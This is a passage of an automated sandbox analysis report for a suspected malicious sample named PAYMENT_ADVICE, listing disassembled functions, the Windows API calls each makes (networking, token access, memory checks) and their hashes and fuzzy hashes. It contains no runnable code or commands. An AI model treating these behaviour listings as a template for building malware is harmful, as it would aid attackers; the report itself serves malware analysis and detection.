                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                              • String ID:
                                                              • API String ID: 1378193009-0
                                                              • Opcode ID: 091dc9ba0ec8dc874dae1067af21235dc623ac24a197a4c4769f0d9422732f3e
                                                              • Instruction ID: c7ff32ba1e67925bb90fbf37ffc1a28d554dac0232db321b9546ab641df09b84
                                                              • Opcode Fuzzy Hash: 091dc9ba0ec8dc874dae1067af21235dc623ac24a197a4c4769f0d9422732f3e
                                                              • Instruction Fuzzy Hash: C621C270904784AFEB338B25D895BE7BBECAF06314F0444EDE69E9A181C7747A84CB51
                                                              Function 003B6369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,003A7896,?,?,00000000), ref: 00345A2C
                                                                • Part of subcall function 00345A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,003A7896,?,?,00000000,?,?), ref: 00345A50
                                                              • gethostbyname.WSOCK32(?), ref: 003B6399
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B63A4
                                                              • _memmove.LIBCMT ref: 003B63D1
                                                              • inet_ntoa.WSOCK32(?), ref: 003B63DC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                              • String ID:
                                                              • API String ID: 1504782959-0
                                                              • Opcode ID: e539d2f162e08d6ae092ed689a37591a68526a0f77c7db5b25f4548777bb7748
                                                              • Instruction ID: 53f864d451924378cf871ea09ee9c770157349f7b3ca4434d41b45b3e46f781f
                                                              • Opcode Fuzzy Hash: e539d2f162e08d6ae092ed689a37591a68526a0f77c7db5b25f4548777bb7748
                                                              • Instruction Fuzzy Hash: 05115E32900109AFCB06FBA4DD46DEEB7B9EF08314B144065F506EF162DB31AE14DB61
                                                              Function 00398B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 00398B61
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00398B73
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00398B89
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00398BA4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID:
                                                              • API String ID: 3850602802-0
                                                              • Opcode ID: b1a5f12190042a69b6844b4e9d4fc15efa43e8c24839080110274dea7f6e9ccb
                                                              • Instruction ID: f01c84ff28bbfb7e6d5b3c0a45b7c66a416b413b7134d7db7b9854ab2f34e009
                                                              • Opcode Fuzzy Hash: b1a5f12190042a69b6844b4e9d4fc15efa43e8c24839080110274dea7f6e9ccb
                                                              • Instruction Fuzzy Hash: 9B110A7A901218BFEF11DB95C885E9DBBB8EB49710F244095E900B7250DA716E11DB94
                                                              Function 00341290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • DefDlgProcW.USER32(?,00000020,?), ref: 003412D8
                                                              • GetClientRect.USER32(?,?), ref: 0037B5FB
                                                              • GetCursorPos.USER32(?), ref: 0037B605
                                                              • ScreenToClient.USER32(?,?), ref: 0037B610
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Client$CursorLongProcRectScreenWindow
                                                              • String ID:
                                                              • API String ID: 4127811313-0
                                                              • Opcode ID: 7feb374552b38fb7184ec106ac83baeba051276fad98f17bca4ddc9e46733133
                                                              • Instruction ID: 93b39b192860411239dbd01e1a2374304baa07debb1460146254df38475b4dcd
                                                              • Opcode Fuzzy Hash: 7feb374552b38fb7184ec106ac83baeba051276fad98f17bca4ddc9e46733133
                                                              • Instruction Fuzzy Hash: 3C113A35600519EFCB12EF98D889DFE77F9EB05300F404866FA41EB140D770BA919BA5
                                                              Function 0039D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0039D84D
                                                              • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0039D864
                                                              • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0039D879
                                                              • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0039D897
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Type$Register$FileLoadModuleNameUser
                                                              • String ID:
                                                              • API String ID: 1352324309-0
                                                              • Opcode ID: 0f8d76de69e275e7aab28a8f8c8187053847c864639a14316fcb1fb7b9117d0d
                                                              • Instruction ID: 2cb5305799123c1b9f69fac2f322c161aec9d71ad019d14f60bcb1f8e6039bd3
                                                              • Opcode Fuzzy Hash: 0f8d76de69e275e7aab28a8f8c8187053847c864639a14316fcb1fb7b9117d0d
                                                              • Instruction Fuzzy Hash: CE116175609305EFEB218FA1DC0AF93BBFCEB00B00F108569A516D6451D7B0E5499BA1
                                                              Function 00376FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                              • String ID:
                                                              • API String ID: 3016257755-0
                                                              • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                              • Instruction ID: fcab8033ce09ea5ba8d7ba139b5e7447f35dde372033eb0792ddb109996f6aca
                                                              • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                              • Instruction Fuzzy Hash: 94014B7244814EBBCF275F84CC01CEE3F66BB18350B598425FA1C59031D23AD9B1AB81
                                                              Function 003CB2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 003CB2E4
                                                              • ScreenToClient.USER32(?,?), ref: 003CB2FC
                                                              • ScreenToClient.USER32(?,?), ref: 003CB320
                                                              • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 003CB33B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClientRectScreen$InvalidateWindow
                                                              • String ID:
                                                              • API String ID: 357397906-0
                                                              • Opcode ID: 0fffd6e3103c00fc83a180d3860de646b2de76d4f076a2345225becf2a1efebb
                                                              • Instruction ID: d9e92a762e14fae332a6a2da7b130326837b9292709cb13d164907e2686bd1b4
                                                              • Opcode Fuzzy Hash: 0fffd6e3103c00fc83a180d3860de646b2de76d4f076a2345225becf2a1efebb
                                                              • Instruction Fuzzy Hash: D3114679D00249EFDB41DF99C444AEEFBB9FB08310F104166E914E3220D735AA659F50
                                                              Function 003A6BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnterCriticalSection.KERNEL32(?), ref: 003A6BE6
                                                                • Part of subcall function 003A76C4: _memset.LIBCMT ref: 003A76F9
                                                              • _memmove.LIBCMT ref: 003A6C09
                                                              • _memset.LIBCMT ref: 003A6C16
                                                              • LeaveCriticalSection.KERNEL32(?), ref: 003A6C26
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection_memset$EnterLeave_memmove
                                                              • String ID:
                                                              • API String ID: 48991266-0
                                                              • Opcode ID: 9eb564b14e7ec81ac456356c7806ebccc0876fcb37b24481639cec9c29c9498e
                                                              • Instruction ID: 2468fd1763c6fe3d8d5a9cf89ae81f2f72c1260c1775f5f88cda27510ac23444
                                                              • Opcode Fuzzy Hash: 9eb564b14e7ec81ac456356c7806ebccc0876fcb37b24481639cec9c29c9498e
                                                              • Instruction Fuzzy Hash: 45F0F47A100110ABCF066F55DC85E4ABB2AEF45361F04C065FE089E267D731E911DBB4
                                                              Function 00342218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColor.USER32(00000008), ref: 00342231
                                                              • SetTextColor.GDI32(?,000000FF), ref: 0034223B
                                                              • SetBkMode.GDI32(?,00000001), ref: 00342250
                                                              • GetStockObject.GDI32(00000005), ref: 00342258
                                                              • GetWindowDC.USER32(?,00000000), ref: 0037BE83
                                                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 0037BE90
                                                              • GetPixel.GDI32(00000000,?,00000000), ref: 0037BEA9
                                                              • GetPixel.GDI32(00000000,00000000,?), ref: 0037BEC2
                                                              • GetPixel.GDI32(00000000,?,?), ref: 0037BEE2
                                                              • ReleaseDC.USER32(?,00000000), ref: 0037BEED
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                              • String ID:
                                                              • API String ID: 1946975507-0
                                                              • Opcode ID: 69524ebe985a81b0461679baeeba6f87802744e9b2479d769de7e1d3e50803f2
                                                              • Instruction ID: e3e6f1cf09b470e85f8fb5dd22fed22dcf96fcf787627b40479315a359eafeab
                                                              • Opcode Fuzzy Hash: 69524ebe985a81b0461679baeeba6f87802744e9b2479d769de7e1d3e50803f2
                                                              • Instruction Fuzzy Hash: 9AE06D32104244EEDF225F64FC0DBD87F26EB05332F14C366FA69980E187B29980DB12
                                                              Function 00398712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThread.KERNEL32 ref: 0039871B
                                                              • OpenThreadToken.ADVAPI32(00000000,?,?,?,003982E6), ref: 00398722
                                                              • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,003982E6), ref: 0039872F
                                                              • OpenProcessToken.ADVAPI32(00000000,?,?,?,003982E6), ref: 00398736
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CurrentOpenProcessThreadToken
                                                              • String ID:
                                                              • API String ID: 3974789173-0
                                                              • Opcode ID: 20f5c3db2adc456408fa669daa41e919a8edaf142259f63d146aa185f8e91818
                                                              • Instruction ID: 90dc4f520553e9e7d1c2e20817f8f09a67a0afa5ce069de1c8249dedbc2b25a2
                                                              • Opcode Fuzzy Hash: 20f5c3db2adc456408fa669daa41e919a8edaf142259f63d146aa185f8e91818
                                                              • Instruction Fuzzy Hash: 08E08676611221AFDB215FF09D0CF567BAEFF51B91F154828B685CA040DA349445C750
                                                              Function 00346240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: %=
                                                              • API String ID: 0-1420429418
                                                              • Opcode ID: 47b85a9957fa348e55e7a4e7360d0caaad3980ef86c78c5569f576059194b720
                                                              • Instruction ID: 7e99bea27c79d7d26a35b608d4c562a3c62ac9c9eae01a42b3eb1500c1b700c6
                                                              • Opcode Fuzzy Hash: 47b85a9957fa348e55e7a4e7360d0caaad3980ef86c78c5569f576059194b720
                                                              • Instruction Fuzzy Hash: 35B19175D001099BCF16EF94C8869EEBBF9EF46310F114126E506AF2A1DB34BE85CB52
                                                              Function 003BAEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __itow_s
                                                              • String ID: xb@$xb@
                                                              • API String ID: 3653519197-193068574
                                                              • Opcode ID: 7f3e03a5e82e31baab67e2de3a43a3ebf194ba0ec235c4ba97311ffeac804024
                                                              • Instruction ID: cf130a431081fa32d542cf100ce29665e81be60f3d9cfea41719a78a249951c1
                                                              • Opcode Fuzzy Hash: 7f3e03a5e82e31baab67e2de3a43a3ebf194ba0ec235c4ba97311ffeac804024
                                                              • Instruction Fuzzy Hash: E6B17D70A00109EBCB15DF58C891EFABBF9EF59304F14805AFA459F692EB70E940CB60
                                                              Function 003AAFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0035FC86: _wcscpy.LIBCMT ref: 0035FCA9
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • __wcsnicmp.LIBCMT ref: 003AB02D
                                                              • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 003AB0F6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                              • String ID: LPT
                                                              • API String ID: 3222508074-1350329615
                                                              • Opcode ID: bcf7d7b9431ad3d9aee0798d875738b66848d65959b5974fd92010a537596300
                                                              • Instruction ID: 80320b3dd8d4134037c193e7ecb8cd7c6b763c53bb6b238b0ed0777fc4a1def7
                                                              • Opcode Fuzzy Hash: bcf7d7b9431ad3d9aee0798d875738b66848d65959b5974fd92010a537596300
                                                              • Instruction Fuzzy Hash: 0A617275A00215AFCB16DF98C891EAEF7F8EF09310F11406AF956AF252D770AE44CB50
                                                              Function 00352957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Sleep.KERNEL32(00000000), ref: 00352968
                                                              • GlobalMemoryStatusEx.KERNEL32(?), ref: 00352981
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: GlobalMemorySleepStatus
                                                              • String ID: @
                                                              • API String ID: 2783356886-2766056989
                                                              • Opcode ID: f373ef26e97f6374550ca042b9cce745b4251c8db1a278ae499aa1b01774a060
                                                              • Instruction ID: c738f77436d9784bfa7bed5624420db3ce1830c5826191a85455ed0f702ec67d
                                                              • Opcode Fuzzy Hash: f373ef26e97f6374550ca042b9cce745b4251c8db1a278ae499aa1b01774a060
                                                              • Instruction Fuzzy Hash: 415156724087449BD321EF14D886BAFBBECFF85340F42885DF2D8491A1DB309568CB66
                                                              Function 003A9734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              APIs
